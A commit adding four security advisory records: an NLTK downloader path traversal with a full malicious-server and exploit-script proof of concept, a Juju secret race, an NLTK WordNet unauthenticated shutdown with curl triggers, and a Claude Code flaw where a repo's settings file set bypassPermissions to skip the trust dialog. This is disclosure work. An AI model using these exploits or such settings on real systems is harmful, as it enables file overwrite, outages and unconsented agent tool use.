Skip to content

Commit 403397f

Browse files
1 parent acfc26d commit 403397f

File tree

4 files changed

+232
-0
lines changed

4 files changed

+232
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-469j-vmhf-r6v7",
4+
"modified": "2026-03-19T12:42:42Z",
5+
"published": "2026-03-19T12:42:42Z",
6+
"aliases": [
7+
"CVE-2026-33236"
8+
],
9+
"summary": "NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite",
10+
"details": "## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n ↓\n2. Provides malicious XML: <package id=\"passwd\" subdir=\"../../etc\" .../>\n ↓\n3. Victim executes: downloader.download('passwd')\n ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"<?xml version=\"1.0\"?>\n<nltk_data>\n <packages>\n <package id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n url=\"http://127.0.0.1:8888/test.zip\" \n size=\"100\" unzipped_size=\"100\" unzip=\"0\"/>\n </packages>\n</nltk_data>\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n if self.path == '/malicious_index.xml':\n self.send_response(200)\n self.send_header('Content-type', 'application/xml')\n self.end_headers()\n with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n self.wfile.write(f.read())\n elif self.path == '/test.zip':\n self.send_response(200)\n self.send_header('Content-type', 'application/zip')\n self.end_headers()\n with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n self.wfile.write(f.read())\n else:\n self.send_response(404)\n self.end_headers()\n \n def log_message(self, format, *args):\n pass\n\n# Start server\nif __name__ == \"__main__\":\n port = 8888\n server = HTTPServer((\"0.0.0.0\", port), Handler)\n print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n print(\"Press Ctrl+C to stop\")\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n print(f\"Download directory: {download_dir}\")\n \n # Exploit vulnerability\n from nltk.downloader import Downloader\n downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n downloader.download(\"test_file\", quiet=True)\n \n # Check results\n expected_path = \"/tmp/test_file.zip\"\n if os.path.exists(expected_path):\n print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n print(f\"✗ Path traversal attack successful!\")\n else:\n print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "nltk"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.9.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nltk/nltk"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-22"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-19T12:42:42Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gfgr-6hrj-85ww",
4+
"modified": "2026-03-19T12:42:52Z",
5+
"published": "2026-03-19T12:42:52Z",
6+
"aliases": [
7+
"CVE-2026-32691"
8+
],
9+
"summary": "Juju affected by timing ownership claim attack on new external back-end secrets",
10+
"details": "A race condition in the secrets management subsystem of Juju versions 3.0.0 through 3.6.18 allows an authenticated unit agent to claim ownership of a newly initialized secret. Between generating a Juju Secret ID and creating the secret's first revision, an attacker authenticated as another unit agent can claim ownership of a known secret. This leads to the attacking unit being able to read the content of the initial secret revision.\n\n### Impact\nBetween generating a Secret ID and creating the secret's first revision, an\nattacker authenticated as another unit agent can claim ownership of a known\nsecret. This leads to the attacking unit being able to read the content of the\ninitial secret revision.\n\n### Patches\n3.6.19",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/juju/juju"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "3.0.0"
29+
},
30+
{
31+
"fixed": "3.6.19"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/juju/juju/security/advisories/GHSA-gfgr-6hrj-85ww"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32691"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/juju/juju"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-708"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-19T12:42:52Z",
59+
"nvd_published_at": "2026-03-18T13:16:18Z"
60+
}
61+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jm6w-m3j8-898g",
4+
"modified": "2026-03-19T12:42:20Z",
5+
"published": "2026-03-19T12:42:20Z",
6+
"aliases": [
7+
"CVE-2026-33231"
8+
],
9+
"summary": "Unauthenticated remote shutdown in nltk.app.wordnet_app",
10+
"details": "### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "nltk"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "3.9.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/nltk/nltk"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-306"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-19T12:42:20Z",
55+
"nvd_published_at": null
56+
}
57+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mmgp-wc2j-qcv7",
4+
"modified": "2026-03-19T12:42:10Z",
5+
"published": "2026-03-19T12:42:09Z",
6+
"aliases": [
7+
"CVE-2026-33068"
8+
],
9+
"summary": "Claude Code has a Workspace Trust Dialog Bypass via Repo-Controlled Settings File",
10+
"details": "Claude Code resolved the permission mode from settings files, including the repo-controlled `.claude/settings.json`, before determining whether to display the workspace trust confirmation dialog. A malicious repository could set `permissions.defaultMode` to `bypassPermissions` in its committed `.claude/settings.json`, causing the trust dialog to be silently skipped on first open. This allowed a user to be placed into a permissive mode without seeing the trust confirmation prompt, making it easier for an attacker-controlled repository to gain tool execution without explicit user consent.\n\nUsers on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.\n\nThank you to hackerone.com/cantina_xyz for reporting this issue.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@anthropic-ai/claude-code"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.1.53"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-mmgp-wc2j-qcv7"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/anthropics/claude-code"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-807"
51+
],
52+
"severity": "HIGH",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-19T12:42:09Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)